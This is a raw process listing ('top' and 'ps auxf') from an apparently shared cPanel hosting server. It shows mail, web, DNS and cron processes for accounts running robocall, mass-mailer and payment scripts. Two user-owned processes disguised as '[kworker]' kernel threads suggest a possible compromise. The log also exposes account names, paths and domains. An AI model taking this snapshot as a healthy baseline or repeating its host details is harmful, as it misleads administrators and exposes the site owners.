    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:12.62 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.02 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   105 root      20   0       0      0      0 S   0.0  0.0   0:00.32 [kauditd]
   240 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   244 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   245 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   246 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   247 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   254 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   255 root       0 -20       0      0      0 S   0.0  0.0   0:01.36 [kworker/+
   269 root       0 -20       0      0      0 S   0.0  0.0   0:01.33 [kworker/+
   275 root      20   0       0      0      0 S   0.0  0.0   0:00.82 [jbd2/vda+
   276 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   357 root      20   0   39500   2324   2012 S   0.0  0.1   0:08.48 /usr/lib/+
   386 root      20   0   45360    532    388 S   0.0  0.0   0:00.35 /usr/lib/+
   409 root      16  -4   55532    588    460 S   0.0  0.0   0:01.34 /sbin/aud+
   414 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   481 root      20   0   21540    556    444 S   0.0  0.0   0:00.36 /usr/sbin+
   482 root      20   0  152780    376    336 S   0.0  0.0   0:00.01 /usr/sbin+
   485 root      20   0  224148   6736   1152 S   0.0  0.3   0:00.25 queueproc+
   486 dbus      20   0   58728   1500    792 S   0.0  0.1   0:08.88 /usr/bin/+
   496 rpc       20   0   69256    312    208 S   0.0  0.0   0:00.02 /sbin/rpc+
   516 root      20   0   52852    456    356 S   0.0  0.0   0:00.00 /usr/sbin+
   518 root      20   0   24720   1296    940 S   0.0  0.1   0:03.93 /usr/lib/+
   522 nscd      20   0  926904   1436    804 S   0.0  0.1   0:13.54 /usr/sbin+
   523 polkitd   20   0  610540   3248    756 S   0.0  0.1   0:02.27 /usr/lib/+
   549 root      20   0    4388    176    172 S   0.0  0.0   0:00.00 /usr/sbin+
   553 root      20   0  195208    204    204 S   0.0  0.0   0:00.00 /usr/sbin+
   572 root      20   0  124476    628    500 S   0.0  0.0   0:00.47 /usr/sbin+
   575 root      20   0   24208    276    256 S   0.0  0.0   0:00.00 /usr/sbin+
   586 root      20   0  108296    308    304 S   0.0  0.0   0:00.00 /sbin/age+
   587 root      20   0  114704    304    304 S   0.0  0.0   0:00.02 /bin/bash
   603 mailnull  20   0   90820   4236   1156 S   0.0  0.2   0:00.43 /usr/sbin+
   618 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   655 root       0 -20       0      0      0 S   0.0  0.0   0:02.51 [loop0]
   661 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [jbd2/loo+
   668 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   825 nobody    20   0  277576  20472   4944 S   0.0  0.8   0:02.26 /usr/sbin+
   912 systuser  20   0  114016  13412   2876 S   0.0  0.6   0:04.11 /usr/loca+
   913 root      20   0  111304    660    560 S   0.0  0.0   0:01.83 /usr/sbin+
   914 root      20   0  153404    544    460 S   0.0  0.0   0:00.35 pure-ftpd+
   915 root      20   0  445028   3400   3284 S   0.0  0.1   0:00.73 sw-engine+
   916 systuser  20   0  111608   1620      0 S   0.0  0.1   0:00.00 /usr/loca+
   917 systuser  20   0   12660     60      0 S   0.0  0.0   0:00.00 /usr/loca+
   920 root      20   0 1277056  11168    276 S   0.0  0.5   0:35.75 /usr/bin/+
   923 root      20   0  396248    748    576 S   0.0  0.0   0:00.45 php-fpm: +
   927 root      20   0  439788  12244  11296 S   0.0  0.5   0:00.51 php-fpm: +
   929 named     20   0 1055796  36684   2064 S   0.0  1.5   0:08.19 /usr/sbin+
   930 root      20   0 1763340 296472   1120 S   0.0 12.2   0:13.74 /usr/loca+
   937 root      20   0  261028   6976   2052 S   0.0  0.3   0:02.67 cpsrvd (S+
   944 systuser  20   0  113932   2036      0 S   0.0  0.1   0:00.01 /usr/loca+
   948 root      20   0   51508    724    560 S   0.0  0.0   0:00.24 /usr/sbin+
   951 memcach+  20   0  342400    204    204 S   0.0  0.0   0:00.36 /usr/bin/+
   952 cpanelc+  20   0   10592   3620   2400 S   0.0  0.1   0:13.77 /usr/loca+
   956 systuser  20   0   10132     28      0 S   0.0  0.0   0:00.01 /usr/loca+
   957 root      20   0  265552   2680   1828 S   0.0  0.1   0:04.29 /usr/sbin+
   966 root      20   0  389508    820    612 S   0.0  0.0   0:00.49 php-fpm: +
   975 root      20   0  400740   2456    832 S   0.0  0.1   0:02.11 php-fpm: +
   976 telegraf  20   0 5654304  37020   6072 S   0.0  1.5   0:09.20 /usr/loca+
   985 root      20   0  388892    876    672 S   0.0  0.0   0:00.45 php-fpm: +
   986 root      20   0 1341636   9740    280 S   0.0  0.4   0:23.06 /usr/bin/+
   987 root      20   0  572372   1256    680 S   0.0  0.1   0:01.47 /usr/bin/+
  1078 dovenull  20   0   47276   3052   2144 S   0.0  0.1   0:00.43 dovecot/p+
  1079 dovenull  20   0   47484   3288   2144 S   0.0  0.1   0:00.18 dovecot/i+
  1080 dovecot   20   0   10320    588    472 S   0.0  0.0   0:00.07 dovecot/a+
  1081 root      20   0   10452    612    440 S   0.0  0.0   0:00.24 dovecot/l+
  1082 dovenull  20   0   47140   2732   1880 S   0.0  0.1   0:00.31 dovecot/p+
  1083 dovenull  20   0   47628   3336   2056 S   0.0  0.1   0:00.26 dovecot/i+
  1086 root      20   0   24528   2692    672 S   0.0  0.1   0:00.13 dovecot/c+
  1092 dovecot   20   0   13568    620    416 S   0.0  0.0   0:00.04 dovecot/s+
  1131 root      20   0  247916 117592   1148 S   0.0  4.9   0:04.81 /usr/loca+
  1156 systuser  20   0  157708   3096   1096 S   0.0  0.1   0:00.08 SonarPush+
  1161 wp-tool+  20   0  387528  13568   1940 S   0.0  0.6   0:00.21 /usr/bin/+
  1162 wp-tool+  20   0  412368  32740   1948 S   0.0  1.4   0:05.45 /usr/bin/+
  1171 dovecot   20   0   41192   1692   1156 S   0.0  0.1   0:00.52 dovecot/a+
  1233 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [kworker/+
  1235 root      20   0  262228  24616   6760 S   0.0  1.0   0:01.88 cpdavd - +
  1239 root      20   0  167452   1524    924 S   0.0  0.1   0:00.27 dnsadmin +
  1241 root      20   0  209680  12508   2500 S   0.0  0.5   0:02.21 tailwatchd
  1655 root      20   0  299272   1020    624 S   0.0  0.0   0:00.45 php-fpm: +
  1658 root      38  18  130416   1548    812 S   0.0  0.1   0:00.04 cpanellog+
  1937 root      20   0  267084   8268    852 S   0.0  0.3   0:01.72 /usr/sbin+
  1938 root      20   0   12796    524    420 S   0.0  0.0   0:01.93 /usr/loca+
  1939 root      20   0   12732    484    408 S   0.0  0.0   0:01.70 /usr/loca+
  1940 root      20   0   12824    524    412 S   0.0  0.0   0:01.82 /usr/loca+
  1945 root      20   0   53268    372    372 S   0.0  0.0   0:00.04 /usr/loca+
  2013 root      20   0  183216  12620   1292 S   0.0  0.5   0:13.98 lfd - sle+
  3224 nobody    20   0  277580  20212   4844 S   0.0  0.8   0:01.79 /usr/sbin+
  4746 nobody    20   0  277900  20272   4840 S   0.0  0.8   0:01.69 /usr/sbin+
  5450 nobody    20   0  277516  19992   4772 S   0.0  0.8   0:01.58 /usr/sbin+
  5915 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
  5917 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  6916 root      20   0  261216 128256   3492 S   0.0  5.3   0:01.57 spamd chi+
  6917 root      20   0  247916 116796    388 S   0.0  4.8   0:00.00 spamd chi+
  8064 nobody    20   0  277576  19776   4600 S   0.0  0.8   0:01.30 /usr/sbin+
  8346 nobody    20   0  277576  19868   4672 S   0.0  0.8   0:01.08 /usr/sbin+
  8359 nobody    20   0  277904  19952   4596 S   0.0  0.8   0:01.29 /usr/sbin+
  9405 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 10252 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 10256 oysipao+  20   0    3152    492      0 S   0.0  0.0   0:00.29 [kworker]
 11514 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 12718 nobody    20   0  277904  19516   4228 S   0.0  0.8   0:00.53 /usr/sbin+
 14452 nobody    20   0  277876  19440   4156 S   0.0  0.8   0:00.38 /usr/sbin+
 14961 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 14966 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 15015 nobody    20   0  277576  19228   4108 S   0.0  0.8   0:00.32 /usr/sbin+
 15721 nobody    20   0  277576  18920   3852 S   0.0  0.8   0:00.38 /usr/sbin+
 16572 root      20   0   41052   2804   2136 S   0.0  0.1   0:00.00 dovecot/a+
 16617 mailnull  20   0   91004   5760   2508 S   0.0  0.2   0:00.00 /usr/sbin+
 17145 nobody    20   0  277744  18436   3248 S   0.0  0.8   0:00.09 /usr/sbin+
 17164 nobody    20   0  277468  18824   3824 S   0.0  0.8   0:00.04 /usr/sbin+
 17165 nobody    20   0  277876  18936   3752 S   0.0  0.8   0:00.05 /usr/sbin+
 17179 nobody    20   0  277572  18760   3696 S   0.0  0.8   0:00.05 /usr/sbin+
 17180 nobody    20   0  277876  18840   3628 S   0.0  0.8   0:00.07 /usr/sbin+
 17182 nobody    20   0  277744  18560   3364 S   0.0  0.8   0:00.06 /usr/sbin+
 17301 wp-tool+  20   0  445028    324    192 S   0.0  0.0   0:00.00 sw-engine+
 17308 root      20   0  111304   4264   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 17391 nigeria   20   0  400460   4820   2412 S   0.0  0.2   0:00.00 php-fpm: +
 17497 mailnull  20   0   91200   5696   2464 S   0.0  0.2   0:00.00 /usr/sbin+
 17500 mailnull  20   0   91200   5696   2464 S   0.0  0.2   0:00.00 /usr/sbin+
 17516 mailnull  20   0   91200   5696   2464 S   0.0  0.2   0:00.00 /usr/sbin+
 17547 mailnull  20   0   91200   5696   2464 S   0.0  0.2   0:00.00 /usr/sbin+
 17551 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 17552 mailnull  20   0   91200   5448   2228 S   0.0  0.2   0:00.00 /usr/sbin+
 17556 mailnull  20   0   90828   4060    936 S   0.0  0.2   0:00.00 /usr/sbin+
 17558 mailnull  20   0   90996   5760   2508 S   0.0  0.2   0:00.00 /usr/sbin+
 17583 root      20   0  183044   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 17585 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17589 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17590 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17591 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17592 root      20   0  183044   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17593 root      20   0  183044   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17595 root      20   0  183044   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17596 root      20   0  183044   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 17597 root      20   0  183044   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 17598 root      20   0  183044   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 17600 root      20   0  183044   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 17607 root      20   0   20164    984    784 S   0.0  0.0   0:00.00 jailshell+
 17617 root      20   0   20164    988    784 S   0.0  0.0   0:00.00 jailshell+
 17620 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 17623 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 17624 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 17626 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 17627 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 17629 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 17630 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 17631 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
 17632 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 17635 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 17637 root      20   0  188220  11108   5148 S   0.0  0.5   0:00.01 /usr/loca+
 17641 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 17650 root      20   0  113288   1516   1300 S   0.0  0.1   0:00.00 /bin/bash+
 17656 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 17665 mailnull  20   0   90828   4060    936 S   0.0  0.2   0:00.00 /usr/sbin+
 17666 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 17672 pactpay   20   0  480124  17672  11880 S   0.0  0.7   0:00.02 /opt/cpan+
 17677 root      20   0  160224   2356   1636 S   0.0  0.1   0:00.01 top -n 2 +
 17735 cloudw    20   0       0      0      0 Z   0.0  0.0   0:00.01 [php-cgi]+
 17754 cloudw    20   0  353712  15968  10484 S   0.0  0.7   0:00.00 /opt/cpan+
 17759 cloudsms  20   0       0      0      0 D   0.0  0.0   0:00.00 [jailshel+
 17762 root      20   0  160220   2064   1580 R   0.0  0.1   0:00.00 top -bcn1
 17766 cloudsms  20   0       0      0      0 D   0.0  0.0   0:00.00 [jailshel+
 60010 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [kworker/+
 69367 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 84678 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 97804 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    18:50   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    18:50   0:16  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    18:50   0:02  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [watchdogd]
root         36  0.0  0.0      0     0 ?        S    18:50   0:12  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   18:50   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   18:50   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [deferwq]
root        105  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [kauditd]
root        240  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [ata_sff]
root        244  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [scsi_eh_0]
root        245  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [scsi_tmf_0]
root        246  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [scsi_eh_1]
root        247  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [scsi_tmf_1]
root        254  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [ttm_swap]
root        255  0.0  0.0      0     0 ?        S<   18:50   0:01  \_ [kworker/1:1H]
root        269  0.0  0.0      0     0 ?        S<   18:50   0:01  \_ [kworker/0:1H]
root        275  0.0  0.0      0     0 ?        R    18:50   0:00  \_ [jbd2/vda3-8]
root        276  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [ext4-rsv-conver]
root        414  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [rpciod]
root        415  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [xprtiod]
root        618  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [kvm-irqfd-clean]
root        655  0.0  0.0      0     0 ?        S<   18:50   0:02  \_ [loop0]
root        661  0.0  0.0      0     0 ?        S    18:50   0:00  \_ [jbd2/loop0-8]
root        668  0.0  0.0      0     0 ?        S<   18:50   0:00  \_ [ext4-rsv-conver]
root      60010  0.0  0.0      0     0 ?        S    22:10   0:00  \_ [kworker/u200:1]
root      69367  0.0  0.0      0     0 ?        S    22:22   0:00  \_ [kworker/0:2]
root      84678  0.0  0.0      0     0 ?        S    22:42   0:00  \_ [kworker/0:1]
root      97804  0.0  0.0      0     0 ?        S    23:00   0:00  \_ [kworker/u200:0]
root       1233  0.0  0.0      0     0 ?        S    23:07   0:00  \_ [kworker/1:3]
root       5915  0.0  0.0      0     0 ?        S    23:13   0:00  \_ [kworker/1:0]
root       5917  0.0  0.0      0     0 ?        S    23:13   0:00  \_ [kworker/1:1]
root       9405  0.0  0.0      0     0 ?        S    23:18   0:00  \_ [kworker/0:4]
root      11514  0.0  0.0      0     0 ?        S    23:21   0:00  \_ [kworker/1:2]
root      14961  0.0  0.0      0     0 ?        S    23:26   0:00  \_ [kworker/0:0]
root      14966  0.0  0.0      0     0 ?        S    23:26   0:00  \_ [kworker/0:3]
root          1  0.1  0.1  44396  3452 ?        Ss   18:50   0:24 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        357  0.0  0.0  39500  2324 ?        Ss   18:50   0:08 /usr/lib/systemd/systemd-journald
root        386  0.0  0.0  45360   532 ?        Ss   18:50   0:00 /usr/lib/systemd/systemd-udevd
root        409  0.0  0.0  55532   588 ?        S<sl 18:50   0:01 /sbin/auditd
root        481  0.0  0.0  21540   556 ?        Ss   18:50   0:00 /usr/sbin/irqbalance --foreground
root        482  0.0  0.0 152780   376 ?        Ss   18:50   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        485  0.0  0.2 224148  6736 ?        Ss   18:50   0:00 queueprocd - waiting up to 60s to process a task
dbus        486  0.0  0.0  58728  1500 ?        Ss   18:50   0:08 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
rpc         496  0.0  0.0  69256   312 ?        Ss   18:50   0:00 /sbin/rpcbind -w
root        516  0.0  0.0  52852   456 ?        Ss   18:50   0:00 /usr/sbin/smartd -n -q never
root        518  0.0  0.0  24720  1296 ?        Ss   18:50   0:03 /usr/lib/systemd/systemd-logind
nscd        522  0.0  0.0 926904  1436 ?        Ssl  18:50   0:13 /usr/sbin/nscd
polkitd     523  0.0  0.1 610540  3248 ?        Ssl  18:50   0:02 /usr/lib/polkit-1/polkitd --no-debug
root        549  0.0  0.0   4388   176 ?        Ss   18:50   0:00 /usr/sbin/acpid
root        553  0.0  0.0 195208   204 ?        Ssl  18:50   0:00 /usr/sbin/gssproxy -D
root        572  0.0  0.0 124476   628 ?        Ss   18:50   0:00 /usr/sbin/crond -n
root      17583  0.0  0.0 183044  2148 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17629  0.0  0.0 113284  1212 ?        Ss   23:30   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      17641  0.0  0.0 108052   356 ?        S    23:30   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      17650  0.0  0.0 113288  1516 ?        S    23:30   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      17769  0.0  0.0 153840  2092 ?        R    23:30   0:00  |               \_ ps auxf
root      17585  0.0  0.0 183044  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17626  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root      17589  0.0  0.0 183044  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17632  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      17590  0.0  0.0 183044  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17635  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root      17591  0.0  0.0 183044  2152 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17617  0.0  0.0  20164   988 ?        Ss   23:30   0:00  |   \_ jailshell (cloudsms) [17766] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
cloudsms  17766  0.0  0.0      0     0 ?        R    23:30   0:00  |       \_ [jailshell]
root      17592  0.0  0.0 183044  2148 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17623  0.0  0.0  20164   808 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      17593  0.0  0.0 183044  2148 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17624  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      17595  0.0  0.0 183044  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17607  0.0  0.0  20164   984 ?        Ss   23:30   0:00  |   \_ jailshell (cloudsms) [17759] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
cloudsms  17759  0.0  0.0      0     0 ?        R    23:30   0:00  |       \_ [jailshell]
root      17596  0.0  0.0 183044  2144 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17627  0.0  0.0  20164   804 ?        Ss   23:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      17597  0.0  0.0 183044  2140 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17620  0.0  0.0 113284  1212 ?        Ss   23:30   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      17637  1.0  0.4 188220 11108 ?        S    23:30   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      17677  1.0  0.0 160224  2356 ?        S    23:30   0:00  |           \_ top -n 2 -b -c
root      17598  0.0  0.0 183044  2140 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17630  0.0  0.0  20164   964 ?        Ss   23:30   0:00  |   \_ jailshell (pactpay) [17666] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   17666  0.0  0.0  20164   256 ?        S    23:30   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   17672  2.0  0.7 480124 17672 ?        S    23:30   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      17600  0.0  0.0 183044  2140 ?        S    23:30   0:00  \_ /usr/sbin/CROND -n
root      17631  0.0  0.0  20164   972 ?        Ss   23:30   0:00      \_ jailshell (nigeria) [17656] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   17656  0.0  0.0  20164   260 ?        S    23:30   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   17670  5.0  0.6 404052 16144 ?        R    23:30   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        575  0.0  0.0  24208   276 ?        Ss   18:50   0:00 /usr/sbin/atd -f
root        586  0.0  0.0 108296   308 tty1     Ss+  18:50   0:00 /sbin/agetty --noclear tty1 linux
root        587  0.0  0.0 114704   304 ttyS0    Ss+  18:50   0:00 /bin/bash
mailnull    603  0.0  0.1  90820  4236 ?        Ss   18:50   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  16617  0.0  0.2  91004  5760 ?        S    23:28   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17497  0.0  0.2  91200  5696 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17500  0.0  0.2  91200  5696 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17516  0.0  0.2  91200  5696 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17547  0.0  0.2  91200  5696 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17552  0.0  0.2  91200  5448 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17556  0.0  0.1  90828  4060 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17558  0.0  0.2  90996  5760 ?        S    23:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  17665  0.0  0.1  90828  4060 ?        S    23:30   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
systuser    912  0.0  0.5 114016 13412 ?        Ssl  18:50   0:04 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        913  0.0  0.0 111304   660 ?        Ss   18:50   0:01 /usr/sbin/sshd -D
root      17308  0.0  0.1 111304  4264 ?        Ss   23:29   0:00  \_ sshd: [accepted]
root        914  0.0  0.0 153404   544 ?        Ss   18:50   0:00 pure-ftpd (SERVER)
root        915  0.0  0.1 445028  3400 ?        Ss   18:50   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  17301  0.0  0.0 445028   324 ?        S    23:29   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
